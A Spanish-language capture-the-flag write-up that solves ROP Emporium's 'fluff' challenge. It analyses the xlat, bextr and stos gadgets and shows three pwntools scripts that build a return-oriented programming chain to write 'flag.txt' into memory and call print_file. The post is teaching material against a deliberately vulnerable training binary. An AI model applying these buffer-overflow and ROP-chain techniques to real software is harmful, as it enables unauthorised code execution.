Este es otro post de la serie de writeups de ROP Emporium. Con esta serie de posts aprenderemos sobre una de las técnicas más utilizadas en la explotación de binarios, la ROP, ó Return Orineted Programming (Programación orientada a return).
Concretamente en este reto, trabajaremos con gadgets bastante más engorrosos de utilizar. Créditos para el Writeup que me ayudó a resolverlo por primera vez.
Reconocimiento
Como siempre comenzamos lanzando checksec:
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
RUNPATH: b'.'
Igual que los anteriores, solo tenemos activado el NX bit, por lo que irá por un ataque de tipo ROP.
El enunciado sólo nos dice que el reto irá en la linea de los anteriores, pero con gadgets ligeramente más complejos.
Analizaremos ahora con gdb-pwndbg:
0x00000000004004d0 _init
0x0000000000400500 pwnme@plt
0x0000000000400510 print_file@plt
0x0000000000400520 _start
0x0000000000400550 _dl_relocate_static_pie
0x0000000000400560 deregister_tm_clones
0x0000000000400590 register_tm_clones
0x00000000004005d0 __do_global_dtors_aux
0x0000000000400600 frame_dummy
0x0000000000400607 main
0x0000000000400617 usefulFunction
0x0000000000400628 questionableGadgets
0x0000000000400640 __libc_csu_init
0x00000000004006b0 __libc_csu_fini
0x00000000004006b4 _fini
Vemos que es similar a los anteriores, tendremos que llamar a print_file con flag.txt
como argumento. Además contamos con nuestro usefulFunction con la llamada a printfile y otra función questionableGadgets con los gadgets que probablemente tendremos que utilizar.
pwndbg> disass questionableGadgets
Dump of assembler code for function questionableGadgets:
0x0000000000400628 <+0>: xlat BYTE PTR ds:[rbx]
0x0000000000400629 <+1>: ret
0x000000000040062a <+2>: pop rdx
0x000000000040062b <+3>: pop rcx
0x000000000040062c <+4>: add rcx,0x3ef2
0x0000000000400633 <+11>: bextr rbx,rcx,rdx
0x0000000000400638 <+16>: ret
0x0000000000400639 <+17>: stos BYTE PTR es:[rdi],al
0x000000000040063a <+18>: ret
0x000000000040063b <+19>: nop DWORD PTR [rax+rax*1+0x0]
Si analizamos con ROPGadget u otra herramienta veremos que no hay ningún gadget mov [reg], reg
que nos permita cargar nuestro string flag.txt
. Por tanto nos centraremos en questionableGadgets.
En C sería algo como:
const uint8_t table[256] = { ...some byte constants (table data) ... }; const uint8_t* ds_bx = table; uint8_t al = <some value to translate>; al = ds_bx[al]; // al = table[al]; // like "mov al,[ds:bx + al]" in ASM
Siguiendo el hilo llegamos a la conclusión de que es una forma de controlar rax desde rbx.
Extracts contiguous bits from the first source operand (the second operand) using an index value and length value specified in the second source operand (the third operand).
A picture might help. Say the starting bit is 5 and the length is 9. Then if we have
Input : 11010010001110101010110011011010 = 0xd23aacda
|-------|
\
\
\
v
|-------|
Output: 00000000000000000000000101100110 = 0x00000166
bextr rbx,rcx,rdx
Básicamente, copia bits de rcx a rbx, dependiendo en rdx.
Los bits de rdx significarán:
15<–––>8 | 7<–––>0 |
---|---|
Tamaño | Bit de inicio |
Si queremos copiar todo rcx en rbx, rdx debe valer 0x4000
.
| 15–––->8 | 7<–––>0 | | ——– | ——– | | 01000000 | 00000000 | Lo que significa que podemos controlar rbx utilizando rcx y rdx.
The STOS instruction copies the data item from AL (for bytes - STOSB), AX (for words - STOSW) or EAX (for doublewords - STOSD) to the destination string, pointed to by ES:DI in memory.
Es decir, con estos gadgets, podemos:
- Modificar un bit de rdi, desde al.
- Modificar al, desde rbx.
- Modificar rbx, desde rcx y rdx.
Explotación
Antes de empezar debemos tener en cuenta una cosa:
0x000000000040062a <+2>: pop rdx
0x000000000040062b <+3>: pop rcx
0x000000000040062c <+4>: add rcx,0x3ef2
0x0000000000400633 <+11>: bextr rbx,rcx,rdx
0x0000000000400638 <+16>: ret
Si nos fijamos, suma 0x3ef2
a rcx, por lo que antes de llamar a dicho gadget debemos restar dicho valor.
Continuando:
0x0000000000400628 <+0>: xlat BYTE PTR ds:[rbx]
0x0000000000400629 <+1>: ret
Debemos hacer que al valga 0
, ya que lo que hace es almacenar en al, al + rbx[al]
. Para ello tenemos varios gadgets:
0x0000000000400610 : mov eax, 0 ; pop rbp ; ret
Finalmente, como no podemos pasar la string flag.txt
, debemos buscarla en el binario, además no está como tal, por lo que tomaremos carácter a carácter:
(0x4003c4, 0), # 'f'
(0x4003c5, 1), # 'l'
(0x4003d6, 2), # 'a'
(0x4003cf, 3), # 'g'
(0x40024e, 4), # '.'
(0x400192, 5), # 't'
(0x400246, 6), # 'x'
(0x400192, 7), # 't'
Una primera aproximación sería:
from pwn import *
offset = b'A'*40
subtract = 0x3ef2
xlatb_ret = p64(0x400628)
poprdx_rcx_addrcx_bextr_ret = p64(0x40062a)
stosrdi_ret = p64(0x400639)
poprdi_ret = p64(0x4006a3)
moveax0_poprbp_ret = p64(0x400610)
ret = p64(0x400295)
addr_flag = ['0x4003c4', '0x4003c5' , '0x4003d6', '0x4003cf', '0x40024e', '0x400192', '0x400246', '0x400192']
addr_str = 0x601028
print_file = p64(0x400510)
payload = offset
for i in range(len(addr_flag)):
payload += moveax0_poprbp_ret
payload += p64(1) #for rbp
payload += poprdx_rcx_addrcx_bextr_ret
payload += p64(0x4000) #take 8 bytes
payload += p64(int(addr_flag[i], 16) - subtract) # take correct value rcx: the address contain char in "flag.txt"
payload += xlatb_ret #take the one byte at the address which stores in rbx to al
payload += poprdi_ret
payload += p64(addr_str + i)
payload += stosrdi_ret
payload += poprdi_ret
payload += p64(addr_str)
payload += ret
payload += print_file
with open("debug", "wb") as binary_file:
binary_file.write(payload)
r = process('./fluff')
r.recvuntil(b'> ')
r.sendline(payload)
r.interactive()
Sin embargo, este script no funciona, ya que el payload es demasiado largo.
Una forma de acortarlo sería cambiar este gadget:
0x0000000000400610 : mov eax, 0 ; pop rbp ; ret
En lugar de poner eax a 0, podemos directamente restar en rbx. La cosa es qué valor, empezamos restando rax a rbx, después, restamos el valor de rbx a rax. Hay que tener en cuenta que restar a rbx afecta al valor que popeamos en rcx.
El segundo script sería:
from pwn import *
offset = b'A'*40
subtract = 0x3ef2
xlatb_ret = p64(0x400628)
poprdx_rcx_addrcx_bextr_ret = p64(0x40062a)
stosrdi_ret = p64(0x400639)
poprdi_ret = p64(0x4006a3)
moveax0_poprbp_ret = p64(0x400610)
ret = p64(0x400295)
addr_flag = ['0x4003c4', '0x4003c5' , '0x4003d6', '0x4003cf', '0x40024e', '0x400192', '0x400246', '0x400192']
addr_str = 0x601028
print_file = p64(0x400510)
payload = offset
flag_str = b"flag.txt"
for i in range(len(addr_flag)):
if(i == 0):
sub_rax = 0xb
if(i != 0):
sub_rax = flag_str[i - 1]
payload += poprdx_rcx_addrcx_bextr_ret
payload += p64(0x4000) #take 8 bytes
payload += p64(int(addr_flag[i], 16) - subtract - sub_rax) # take correct value rcx: the address contain char in "flag.txt"
payload += xlatb_ret #take the one byte at the address which stores in rbx to al
payload += poprdi_ret
payload += p64(addr_str + i)
payload += stosrdi_ret
payload += poprdi_ret
payload += p64(addr_str)
payload += ret
payload += print_file
with open("debug", "wb") as binary_file:
binary_file.write(payload)
r = process('./fluff')
r.recvuntil(b'> ')
r.sendline(payload)
r.interactive()
Este script funcionará en según qué máquinas, pero en otras dará error en la alineación del stack. Además, no podemos añadir ninguna instrucción porque nos volvemos a pasar de longitud.
Sin embargo, si debugeamos un poco nos daremos cuenta de que después de stos BYTE PTR es:[rdi],al
, rdi = rdi + 1
, que es precisamente el valor que necesitamos, por lo que no necesitamos un segundo pop rdi
. Así el segundo script quedaría:
from pwn import *
offset = b'A'*40
subtract = 0x3ef2
xlatb_ret = p64(0x400628)
poprdx_rcx_addrcx_bextr_ret = p64(0x40062a)
stosrdi_ret = p64(0x400639)
poprdi_ret = p64(0x4006a3)
moveax0_poprbp_ret = p64(0x400610)
ret = p64(0x400295)
addr_flag = ['0x4003c4', '0x4003c5' , '0x4003d6', '0x4003cf', '0x40024e', '0x400192', '0x400246', '0x400192']
addr_str = 0x601028
print_file = p64(0x400510)
payload = offset
flag_str = b"flag.txt"
for i in range(len(addr_flag)):
if(i == 0):
sub_rax = 0xb
if(i != 0):
sub_rax = flag_str[i - 1]
payload += poprdx_rcx_addrcx_bextr_ret
payload += p64(0x4000) #take 8 bytes
payload += p64(int(addr_flag[i], 16) - subtract - sub_rax) # take correct value rcx: the address contain char in "flag.txt"
payload += xlatb_ret #take the one byte at the address which stores in rbx to al
if(i == 0):
payload += poprdi_ret
payload += p64(addr_str + i)
payload += stosrdi_ret
payload += poprdi_ret
payload += p64(addr_str)
payload += ret
payload += print_file
with open("debug", "wb") as binary_file:
binary_file.write(payload)
r = process('./fluff')
r.recvuntil(b'> ')
r.sendline(payload)
r.interactive()
Y después de ésta optimización, ya deberíamos obtener nuestra flag. Este es el reto que menos me ha gustado, debido al salto de complejidad y a la dificultad de uso de los gadgets. Sin embargo, reconozco que es un reto que nos permite afianzar nuestros conceptos.
¡Nos vemos en el siguiente post!